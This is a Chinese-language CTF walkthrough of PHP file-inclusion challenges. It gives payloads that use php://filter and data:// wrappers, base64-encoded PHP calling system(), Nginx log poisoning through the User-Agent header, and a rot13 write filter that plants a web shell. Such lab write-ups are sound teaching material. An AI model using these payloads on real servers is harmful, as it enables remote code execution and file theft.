文件包含

Web-78

image-20220508152258665

访问URL,得到经过Base64加密后的字符串,这段代码就是Base64加密过后的PHP源代码,解密后就可得到原本的样子

?file=php://filter/read=convert.base64-encode/resource=flag.php
?file=php://filter/convert.base64-encode/resource=flag.php

image-20220508152759956

Web-79

方法一

image-20220508153218283

这题是把输入的php用???替换了,所以我们可以选用data://伪协议

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

image-20220509131712350


data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行,从而导致任意代码执行。

方法二

用短标签

image-20220509143255478

Web-80

image-20220509134830592

这里是php和data都被替换了

先去用USER-AGENT插入日志,再通过/var/log/nginx/access.log路径包含,继续给参数

image-20220509144520962

接下来可以正常进行读取了

输入:1=system("ls");

image-20220509145801634

输入:1=system("tac fl0g.php");

这里输入cat fl0g.php是不成功的,好玄


access_log ——用来指定日至文件的路径及使用的何种日志格式记录日志

Web-81

image-20220509150342054

上一题方法同样适用嘿嘿

image-20220509150313517

Web-82

image-20220509151215367

这道题看它的hint就知道不简单

image-20220509151320477

把点过滤了,那说明只能用无后缀的文件,所以只能是session文件

不会不会不会不会

Web-87

image-20220510163957195

这里要使用伪协议的过滤器

?file=php://filter/write=string.rot13/resourse=2.php     //对写的内容进行凯撒13编码

先别着急,得对这个payload进行二次URL全编码,不然会受到rot13编码偏移的影响,接下来通过POST写入文件内容

<?php system('tac f*.php');?>

这个进行rot13编码后Excute一下

最后去访问我们上传的2.php文件就好啦

image-20220510171220782

Web-88

image-20220510174119608

输入:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4

image-20220510183315826